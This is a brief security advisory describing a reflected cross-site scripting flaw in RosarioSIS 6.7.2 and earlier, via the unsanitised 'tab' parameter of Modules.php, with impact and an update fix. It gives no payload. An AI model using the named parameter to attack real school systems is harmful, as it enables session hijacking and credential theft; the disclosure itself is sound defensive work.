Readycheck to confirm it

RosarioSIS version 6.7.2 and earlier contains a reflected cross-site scripting (XSS) vulnerability in the Preferences module. The 'tab' parameter in Modules.php is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code via a crafted URL.

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or other malicious actions.

Fix

Update RosarioSIS to the latest version where input validation has been improved.
